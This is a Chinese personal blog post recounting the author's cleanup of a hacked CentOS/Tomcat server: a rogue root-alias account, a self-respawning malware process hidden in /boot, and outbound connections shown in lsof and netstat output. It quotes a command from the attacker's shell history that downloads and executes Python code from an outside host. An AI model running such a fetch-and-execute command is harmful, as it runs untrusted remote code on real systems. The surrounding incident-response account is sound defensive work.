去年有台Linux服务器被黑了,看了500万行日志(现在觉得当时好厉害呀),反正当时的日志文件有700Mb以上大。前两天师兄告诉我,信息中心的老师给他说我们有台服务器应该是被人入侵了,当作内网的跳板,经常对内网中的其他服务器发出攻击的数据。于是我连夜就去服务器上看了。

  这是我第一次上这个服务器,什么情况都不知道,只知道这个服务器是Linux(尼玛具体是什么发行版都要我去查),上面跑着一个网站。

  

  进去之后,先看看是什么发行版的。CentOS6.5,以前都只玩的Ubuntu,换这个上面多多少少还有点陌生的。好了废话不多说了。

  再去看看什么网页吧。cd /var/下面,没有看到是www或者htdocs之类的目录,不会是tomcat吧。搜索了一下,果然是。网页内容先不看了,应该是已经提权成功了的。直接就去看看服务器算了。

  

  写文章的时候才意识到,我一开始不应该乱看其他的,应该先把.bash_history什么的先备份下才对。算是给自己提一个醒吧。

  看看passwd和shadow:

看来是4月2号就入侵成功了呀。查看了下/home下的目录,多了一个用户。还是看看passwd吧。

passwd就不写出来了。在passwd中,sqzr这个用户后面的和root一样,也就是root权限了。userdel sqzr提示不能删除,当前已经登录,尼玛,这个用户就是给root取了个别名吧。直接修改两个文件,删除这一行。用户就算是清理了。

看下进程:

这是什么,第一眼还以为是防火墙,可是多了一个,再一想,Linux下面要区分大小写的,这东西不对劲。

百度了下,发现确实是个病毒,也有其他人中招了。

http://www.xujiansheng.cn/2014/01/linux-viruses-iptablex-iptables/

还有那个prwpodebiq,完全没有意义的进程名,如此大的pid,肯定有问题。

  

777的文件,定位到病毒了。

手动删除了一部分,但东西太多了,直接用find删除了。

此外用lsof看到了一些进程和/下的pid文件有关联,于是直接删除了。

感觉已经解决问题了,ps -A 看看还有没有问题。。。于是。。

又出来一个kdpiaqommj和prwpodebiq,这种没有什么意义的名字的进程。lsof之。发现又在/boot下,晕,kill后再rm一个。

再看一次进程,又出现了一个tieyhxjhkl。

[root@localhost bin]# lsof -p 5669
COMMAND    PID USER   FD   TYPE     DEVICE SIZE/OFF    NODE NAME
tieyhxjhk 5669 root  cwd    DIR      253,0     4096 1324611 /usr/local/tomcat/apache-tomcat-7.0.39/bin
tieyhxjhk 5669 root  rtd    DIR      253,0     4096       2 /
tieyhxjhk 5669 root  txt    REG        8,1   613533      18 /boot/tieyhxjhkl
tieyhxjhk 5669 root    0u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    1u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    2u   CHR        1,3      0t0    3569 /dev/null
tieyhxjhk 5669 root    3u  IPv4 1445967634      0t0     TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

是反弹shell还是什么?

应该是还有文件被改了吧,去tomcat目录中看看。

红字是tomcat中没有的,删除了。

然后kill。然后重启服务器。

然后我就晕了,还有!!!!!!   这次lsof的cwd直接是/了。而根下没有什么东西了。

然后我发现,该进程是随机产生名字,然后会生成两个子进程,子进程也是随机名字,并且只有2秒不到的存活期,kill不了。kill父进程,还会产生。同时会在/boot下生成自己的可执行文件。

通过netstat -anput 发现这个进程的功能应该是    TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)。

tcp        0      1 这里是我的IP:41939       222.34.129.154:2804         SYN_SENT    1701/bash

这尼玛好像就是反弹shell吧。

还是看看.bash_history吧。

2016 更新:

这个 python -c "exec(__import__('urllib').urlopen('https://www.yascanner.com/0c971e54b1eef79a').read())" -m 50 原来是扫描器。

tail –100 /var/log/secure

看看安全信息,有公网IP拼命的在尝试root的密码,而且走的是ssh进来的。当然关闭ssh相信应该是可以的。我这因为目前公网上还需要用到ssh,所以只能在hosts.deny上进行阻止该公网IP进来。

阻止别人的ssh连接了,但是内部的 那个进程还是一直有,一直发着这个

TCP 这里是我的IP:59978->66.102.253.30:dvr-esm (SYN_SENT)

他应该用的应该是Struts2的漏洞进入服务器里的,但是留下的那个后门,我现在还没有办法解决,

至此,先到这里吧。最近还是再看看吧。

05-28 14:44